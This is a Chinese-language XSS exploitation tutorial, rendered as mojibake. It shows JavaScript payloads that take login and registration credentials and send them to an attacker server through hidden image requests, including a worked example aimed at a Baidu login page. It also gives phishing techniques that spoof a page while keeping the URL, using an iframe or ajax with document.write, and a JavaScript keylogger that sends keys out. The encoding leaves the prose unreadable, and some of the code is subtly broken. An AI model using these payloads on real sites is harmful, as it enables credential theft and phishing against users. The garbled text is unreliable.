0¡Á01£ºµ±×¢²á/µÇÂ½Ò³Ãæ/ÐÞ¸ÄÃÜÂëÒ³ÃæµÈ´æÔÚXSSʱ
µ±ÄãÊÖ¹¤»òÕßÈí¼þÍÚµ½Ò»¸öÒ³ÃæµÄxssʱ(ÎÞÂÛÊÇ·´Éäxss»òÕß´¢Ðîxss¶¼¿ÉÒÔ)£¬Õâ¸öʱºòÏëÒªÉîÈëµÄÀûÓÃÕâ¸ö©¶´£¬¸ÃÔõô×öÄØ£¿ÓÃWebRTCÀ´ÄÚÍø¶Ë¿Ú¼ì²â£¿µÁÈ¡cookies(µÇÂ½Ò³ÃæºÍ×¢²áÒ³ÃæÒ»°ã¶¼²»»áÓÐÓû§cookies)£¿ÓÃä¯ÀÀÆ÷©¶´À´µ÷È¡cmdÈëÇÖ(ÄÜÍÚµ½Ã´)£¿
Õâ²»ÐУ¬ÄDz»ÐС£µ½µ×Ôõô°ìÄØ£¿ÎÒÃÇÕâ¸öʱºò¿ÉÒÔ¸ù¾ÝÒ³ÃæµÄÌØÐÔÀ´Íê³É£¬¼ÙÉ赱ǰÊÇ×¢²áÒ³Ãæ£¬´æÔÚXSS£¬ÄÇÎÒÃÇÓ¦¸ÃÔõô×ö²ÅºÃÄØ¡£Èç¹ûÊÇ·´ÉäXSS£¬¿ÉÒÔÔ¶³Ìµ÷ÓÃjsÎļþ£¬Èç¹ûÊÇ´¢ÐîÐÍXSS¿ÉÒÔÔÚÒ³ÃæÀïÃæÐ´¡£´úÂëÈçÏ£º
/*Èç¹ûµ±Ç°Ò³ÃæÃ»ÓÐʹÓÃjQuery£¬¾Í²ÉÓÃÔÉúµÄJavaScript£¬ÏÂÃæº¯ÊýÊÇÖØÐ´ÁËjQueryµÄÑ¡ÔñÆ÷¼°attr¡£ userInfo('data-user','username','value')µÈ¼ÛÓÚ£º$("input[data-user='username']").attr('value'); Õâ¸ö´úÂë´æÔÚÒ»¸öbug£¬¾ÍÊÇgetAttribute»ñÈ¡inputµÄvalueʱ»áÏÔʾ¿Õ£¬
Õâ¸öʱºòÖ»ÐèÒª°ÑgetAttribute¸Ä³Évalue¾ÍÐÐÁË¡£Ö®ËùÒÔûÓиģ¬
ÊÇÒòΪÄãÓÖ¿ÉÄÜ´«ÈëÆäËûµÄ±êÇ©£¬±ÈÈçimgʲôµÄ£¬Èç¹ûÄãÒª´«µÄ±êÇ©²»ÊÇinput£¬
valueÊÇ»ñÈ¡²»µ½µÄ£¬ÐèҪʹÓÃgetAttribute¡£ */ var userInfo = function(data,value,post,tag){ if(!arguments[3]){ //ÅжϵÚËĸö²ÎÊýÊÇ·ñ´æÔÚ tag = "input"; //µ±Ã»ÓеÚËĸö²ÎÊý´«½øÀ´Ê±£¬Ä¬ÈÏΪinput } var tagData = document.querySelectorAll(tag + '[' + data + ']'); //²éÕÒÍøÒ³ÖÐij±êÇ©´æÔÚij¸öÊôÐÔ for(var i = 0;i<tagData.length;i++){ //±éÀú²éÕÒºóµÄ½á¹û if(tagData[i].getAttribute(data) == value && tagData[i].getAttribute(post)){ //ÅжÏÊôÐÔµÄÖµÊÇ·ñΪ×Ô¼ºËùÖ¸¶¨µÄ£¬Èç¹ûÊÇ×Ô¼ºÊôÐÔºÍÖµ¶¼Æ¥ÅäÁË£¬ÔÙÅжÏÊÇ·ñÓÐ×Ô¼ºµÄÏëÒª»ñÈ¡µÄÊôÐÔ return tagData[i].getAttribute(post); //·µ»ØÆ¥Åä³É¹¦µÄÖµ } } } document.getElementById("xxx").click(function() { //µ±Óû§µãidΪxxxµÄʱºò£¬ÔËÐк¯ÊýÄڵĴúÂë¡£ var user = userInfo('data-user','username','value'); //°Ñ»ñÈ¡µÄÖµ¸³Öµ¸øuser var password = userInfo('data-user','password','value'); //°Ñ»ñÈ¡µÄÖµ¸³Öµ¸øpassword var imgTag = "<img src='·þÎñÆ÷½ÓÊܵØÖ·.com/xxx.php?user=
" + user +"&password=" + password + "' style='display:none;'"; document.getElementsByTagName('body')[0].appendChild(imgTag); }) |
ÒÔimg±êÇ©·¢ËÍgetµÄ·½Ê½À´°ÑÓû§µÄÕ˺ÅÃÜÂë·¢Ë͵½·þÎñÆ÷(֮ǰʹÓÃJavaScript½áºÏWebRTCʵÏÖÄÚÍø¶Ë¿Ú¼ì²âµÄʱºò¾ÍÊÇÓÃÕâ¸öµÄ¡£)£¬ÒòΪimgµÄsrc»áÒÔgetµÄ·½Ê½À´·¢ËÍÊý¾Ý£¬ÎÒÃÇÖ»ÐèÒªÔÚ·þÎñ¶ËдÉÏ$_GET['user']ºÍ$_GET['password']¾Í¿ÉÒÔ»ñÈ¡µ½ÁË¡£ÒòΪÎÒÃDZ¾Éí²¢²»ÊÇÒ»¸öÍêÕûµÄÇëÇó£¬Ö»Óз¢ËÍ¡£ËùÒÔ²»ÐèÒªµ£ÐÄ¿çÓòµÄÎÊÌâ¡£
Èç¹ûµ±Ç°Ò³ÃæµÄ±¾Éíµ÷ÓÃÁËjQuery£¬ÄǾͲ»ÐèÒªÉÏÎÄÄÇôÂé·³ÁË¡£ÒòΪ´úÂëÁ¿ÕæµÄºÜÉÙºÜÉÙ£¬´úÂëÈçÏ£º
$("input:submit").onClick(function(){ //µ±µã»÷¡°Ìá½»¡±°´Å¥Ê±Ëù´¥·¢µÄº¯Êý var user = $("input[data-user='username']").val(); //»ñÈ¡input±êÇ©Àï¾ßÓÐÊôÐÔΪdata-userÇÒÊôÐÔֵΪusernameµÄDOM£¬È»ºóÔÚ»ñÈ¡Óû§ÊäÈëµÄÖµ¡£ var password = $("input[data-user='password']").val(); //»ñÈ¡input±êÇ©Àï¾ßÓÐÊôÐÔΪdata-userÇÒÊôÐÔֵΪpasswordµÄDOM£¬È»ºóÔÚ»ñÈ¡Óû§ÊäÈëµÄÖµ $("body").append("<img src='http://·þÎñÆ÷½ÓÊܵØÖ·.com/?user=
" + user + "&password=" + password + "' style='display:none;'>");. //°Ñ¹¹ÔìºÃµÄimg±êÇ©²åÈëµ½body±êÇ©ÀïµÄ½áβ }); |
µ±´úÂëOKºó£¬Óû§µã»÷Ìύʱ£¬¿ÉÒÔ×¢²á£¬µ«ÊÇͬʱËûµÄÕ˺ÅÃÜÂë¶¼»á±»ÎÒÃÇËùÖªµÀ¡£Ï൱ÓÚwifiÖмäÈ˽ٳÖÁË¡£
˵Á˰ëÌìµÄ»°£¬Ò²¸øÁËÄÇô¶à´úÂ룬²»À´µãÊÂÀýÓеã˵²»¹ýÈ¥ÁË¡£ÊÂÀý£º
ÎÒÃÇÏȼÙÉèpan.baidu.com´æÔÚXSS¡£ÊÇÔÚURLÀïµÄs²ÎÊýÀï¡£¾ÍÏñ£º
http://pan.baidu.com/?s=<script>alert(1)</script>£¬¿ªÊ¼·ÖÎö¹¹ÔìÁË¡£
´ò¿ªÒ³Ã棬F12£¬¿´ÏÂÓû§Õ˺ż°ÃÜÂëµÄDOM¡£

ÕâÀïÎÒÃÇ¿ÉÒÔʹÓÃid½øÐж¨Î»¡£InputµÄtypeΪtext¶¨Î»ºÃÁË£¬ÏÂÃæ¾ÍÊǶ¨Î»µÇ½°´Å¥ÁË¡£

·ÖÎöÍêÁ˺ó£¬ÎÒÃÇ¿ÉÒÔ½øÐдúÂë¹¹ÔìÁË£º
$("#TANGRAM__PSP_4__submit").click(function(){ var user = $("#TANGRAM__PSP_4__userName").val(); var password = $("#TANGRAM__PSP_4__password").val(); $("body").append("<img src='http://a.cn/?user=" + user + "&password=" + password + "' style='display:none;'>"); }); |
OKÁ˺ó£¬ÎÒÃÇÀ´ÊµÑéÏ£º

ÏÈÓÃburp°ÑÊý¾Ý°ü½Ø¶Ï£¬·ÀÖ¹Ò³ÃæÌø×ª¡£µã»÷µÇ½ºó£¬ÎÒÃÇÔÚ¡°¿ØÖÆÌ¨¡±¿´ÏÂ

äÖȾ³É¹¦£¬ÎÒÃÇÔÚ·þÎñ¶Ë¿´Ï£º

ÕâÀïûÓÐʹÓÃphp¡£Ê¹ÓõÄÊÇnginxµÄlogÈÕÖ¾¡£phpÒòΪ·´À¡²»Ã÷ÏÔ£¬³ý·Çµ¼Èëµ½Êý¾Ý¿âÀï¡£ÄǾÍÌ«Âé·³ÁË¡£ÕâÀïÎÒÃÇ£¬¿ÉÒÔ¿´µ½³É¹¦ÁË¡£Èç¹ûÄãÏëʹÓÃphpµÄ»°£¬ÔÙindex.phpÀïдÉÏ$_GET['user']ºÍ$_GET['password']¾Í¿ÉÒÔ»ñÈ¡µ½ÁË¡£
0¡Á02£ºÎ±ÔìÒ³Ãæ£¬URL²»±ä
֮ǰ´ó¼ÒαÔìµöÓãÒ³ÃæÊ±£¬¾³£Ê¹ÓÃ<meta http-equiv="Refresh"
content="1; url=http://µöÓãÒ³Ãæ.com" />window.location.href="http://µöÓãÒ³Ãæ.com";»òÕ߯ðÒ»¸ö·Ç³£ÓÐÓÕ»óÐÔµÄÓòÃû£¬±ÈÈ磺htpp://www.freebvf.com/£¬ÔÙ»òÕßÒÔÊÖÎóµÄ·½Ê½À´ÉèÖÃÓòÃû£¬±ÈÈ磺http://www.freevuf.com/£¬µ«ÊÇÕâЩ¾ÍÓеãlowÁË¡£ÕâÀï¼¼ÇÉÓиöÒªµã£¬¾ÍÊǵ±Ç°Ò³Ãæ±ä»¯£¬µ«ÊÇURL²»±ä¡£ÕâÀïÓÐÁ½¸ö·½·¨¡£Èç¹ûÄãÓиüºÃµÄ·½·¨£¬»¶ÓÌá³öÀ´£¬ÈÃÎÒѧϰÏ¡£
µÚÒ»ÖÖ·½·¨£º
ÀûÓÃiframe£¬È¥µôiframeµÄ±ß¿ò¼°¹ö¶¯Ìõ¡£ÔÙʱiframeµÄ¿í¶È100%£¬Õ¼ÂúÕû¸öÒ³Ãæ¡£
var windowHeight=$(window).height() + 500; //»ñÈ¡µ±Ç°¿ÉÊÓÇøÓòµÄ¸ß£¬²¢ÇÒ¼ÓÉÏ500px£¬·ÀÖ¹µ±ä¯ÀÀÆ÷´°¿Ú±ä»¯Ê±£¬Ð¹Â¶ÏÂÃæµÄÄÚÈÝ
$("body").before('<iframe src="http://www.freebuf.com/" id="frame3d"
name="frame3d" frameborder="0" width="100%" scrolling="no" height="' + windowHeight + '"></iframe>'); //²åÈëiframe±êÇ©£¬srcΪµöÓãÒ³Ãæ $("html").attr({ onmousewheel: 'return false', //½ûÖ¹Êó±êÂÖ¶¯Ê¼þ£¬ÈÃÊó±êÎÞ·¨¹ö¶¯ style: 'overflow-x:hidden;overflow-y:hidden' //Òþ²Ø¹ö¶¯Ìõ }); |
ÀûÓÃÁËiframe¿ÉÒÔµ÷ÓÃÍⲿ´°¿ÚµÄÌØÐÔÀ´½øÐй¹Ôì´úÂë¡£ÒªµãÓУº°Ñiframe×î´ó»¯¡¢½ûÖ¹Ò³Ãæ¹ö¶¯¡¢Òþ²Ø¹ö¶¯Ìõ¡£À´¸öÊÂÀýͼ£º

»¹ÓÐÒ»ÖÖ°ì·¨ÊÇÀûÓÃajaxÀ´½øÐÐαÔ죬»ñÈ¡ÍⲿµÄÍøÒ³£¬È»ºóÀûÓÃdocument.write()À´°ÑÄÚÈÝдµ½Ò³Ãæ¡£ÒòΪdocument.write()ÓиöÌØÐÔ¾ÍÊÇ£¬Ê¹ÓÃdocument.write()ʱ»áÖØÐ´Ò³Ãæ£¬ÎÞÂÛÒ³ÃæÀïÓÐʲôÄÚÈÝ£¬¶¼»á±»ÖØÐ´¡£´úÂëÈçÏ£º
$.ajax({ url: 'http://www.freebuf.com/', type: 'post', dataType: 'text', }) .done(function(data) { document.write(data); }) |
ÕâÀïÓм¸¸öÐèҪעÒâµÄµØ·½£¬document.write()дÈëÒ³Ãæºó£¬ËùÓеÄ×ÊÔ´¶¼»áÖØ¶¨Ïòµ½Ô±¾µÄµØÖ·¡£´ò¸ö±È·½¡£
ÎÒÃǵĵöÓãÍøÒ³ÊÇhtpp://www.freebuf.com/¡£ÀïÃæµÄÔÚµ÷ÓÃjs/css/img/swfµÈ×ÊÔ´µÄʱºò£¬Ê¹ÓõÄÊÇÏà¶ÔĿ¼À´½øÐÐË÷ÒýµÄ¡£¾ÍÏñÏÂÃæÕâÑù£º
<script src="./other/js/new/backtop.js"></script>£¨ÕâÊÇÎÒ±àµÄ£¬freebuf²¢Ã»ÓÐʹÓÃÏà¶ÔĿ¼£©
ÄÇÎÒÃǽ«freebufÕâ¸öµöÓãÒ³ÃæÒ²µ½Ä¿±êÍøÒ³ºó£¬¼ÙÉèÄ¿±êµÄURLÊÇ£ºhttp://www.baidu.com/¡£ÄÇÕâ¸öjsµÄ×ÊÔ´¾Í»á±»Ö¸¶¨Îªhttp://baidu.com/other/js/new/backtop.js¡£´Ó¶øµ¼ÖÂÒ³Ãæ²»ÊÜ¿ØÖÆ¡£¾ÍÏñÏÂÃæÕâÑù:

¿´Ï¿ØÖÆÌ¨¾Í¸ü¼ÓµÄÇå³þÁË£º

»¹ÓÐÒ»¸öÐèҪעÒâÄǾÍÊÇÐèÒªÔÙÕâ¸öÎļþÒ²¾ÍÊÇindex.phpÀïµÄÍ·ÉÏдÈëÏÂÃæµÄ´úÂ룺
<?php header( 'Access-Control-Allow-Origin:*' );?> |
ÕâÑù¾Í¿ÉÒÔʹÓÃajaxÀ´½øÐпçÓòÁË¡£
ÕâÁ½¸ö·½·¨µÄÓŵãºÍȱµãÎÒÃÇ˵Ï£º
µÚÒ»ÖÖÓÃiframe£º
ȱµã£ºÈÝÒ×±»·¢ÏÖ£¬¡£F12¾Í¿ÉÒÔ¿´µ½Ò»¸öiframe£¬¶øÇÒµ±ä¯ÀÀÆ÷µÄ´°¿Ú×ã¹»´óµÄʱºò£¬»áʹԱ¾µÄÍøÒ³Ð¹Â¶³öÒ»µã¡£´Ó¶øµ¼ÖÂÓû§·¢ÏÖ¡£´úÂëÁ¿¶à
Óŵ㣺ÏÞÖÆÌØ±ðÉÙ¡£
µÚ¶þÖÖÓÃajax£º
ȱµã£ºÊ¹ÓÃajax¿´À´ÇëÇóÔ¶³ÌµØÖ·²¢ÖØÐ´µÄʱºò£¬ÐèҪעÒâµÄÊÇ£¬¼´Ê¹µöÓãÍøÕ¾²»Ê¹ÓÃÏà¶Ô·¾¶£¬¶øÇÒ»¹¼ÓÈëÁË<?php
header( 'Access-Control-Allow-Origin:*' );?>£¬µ«ÊÇ»¹ÊDz»ÐУ¬ÒòÎªÍøÕ¾µÄ±¾Éí¾Í×öÁËÏÞÖÆ¡£
Óŵ㣺´úÂëÁ¿ÌرðÉÙ
0¡Á03£ºotherС¼¼ÇÉ
JavaScript¼üÅ̼Ǽ£º
function keyUp(e) { var keyChar=0,e=e||event; keyChar=e.keyCode||e.which||e.charCode; var key = String.fromCharCode(keyChar); console.log("×Ö·û: " + key); }document.onkeyup = keyUp; |
Õâ¶Î´úÂëÖ»ÐèÒªÔËÐоÍÐÐÁË¡£Èç¹ûÏë·¢Ë͵½Ô¶³ÌµÄ·þÎñÆ÷ÉÏÃæ£¬¿ÉÒÔʹÓÃajax»òÕßÎÒÉÏÃæµÄ˵µÄ<img
src='http://·þÎñÆ÷½ÓÊܵØÖ·.com/?key=" + key +"' style='display:none;'>À´½øÐз¢ËÍ£¬¿ÉÒÔʹÓÃforÑ»·¶ÔÉÏÃæµÄ´úÂë½øÐÐÑ»·£¬°ÑÓû§°´ÏµļüÏȸ³Öµ¸øÒ»¸öÖµ£¬µ±µã»÷Ìύʱ¾Í¿ÉÒÔ·¢ËÍÁË¡£
Èç¹ûÍøÕ¾²»ÏÞÖÆ×Ö·û´®µÄ»°£¬¿ÉÒÔʹÓÃhttp://www.jsfuck.com/À´¶ÔÔ±¾µÄJavaScript´úÂë½øÐбäÒì¡£µ«ÊÇÕâÖÖ±äÒìºóµÄ³¤¶ÈÌØ±ð³¤£¬¼ÇסÊÇÌØ±ð³¤£¡
0¡Á04£º½áÊøÓï
×î½üˢ΢²©£¬¿´µ½ÏÂÃæµÄ΢²©£º

¶ÔÓÚÕâÖÖ³§ÉÌ£¬ÎÒÖ»ÄÜ˵×Ô¼ºÄԲв»ÒªËµ±ðÈ˼¼Êõ²î¡£
ºÚ¸ç֮ǰµÄXSSÂþÓÎÄÚÍø£¬ÒÔ¼°XSS±éÀúÄÚÍøIP¶Ë¿Ú¡£»¹ÓÐXSSÀûÓÃä¯ÀÀÆ÷APIµ¯¼ÆËãÆ÷µÈµÈ£¬ÊÂʵ֤Ã÷Õâ²»ÊÇ08ÄêµÄʱºòÁË£¬²»ÒªÒ»Ö±Ïë×ÅXSSÖ»ÄÜ´òcookies£¬¿ÉÄÜÄãÕýÔÚÕâÑùÏëµÄʱºò£¬±ðÈËÒѾÓÃxssÂþÓÎÄãµÄÄÚÍøÁËÄØ¡£
|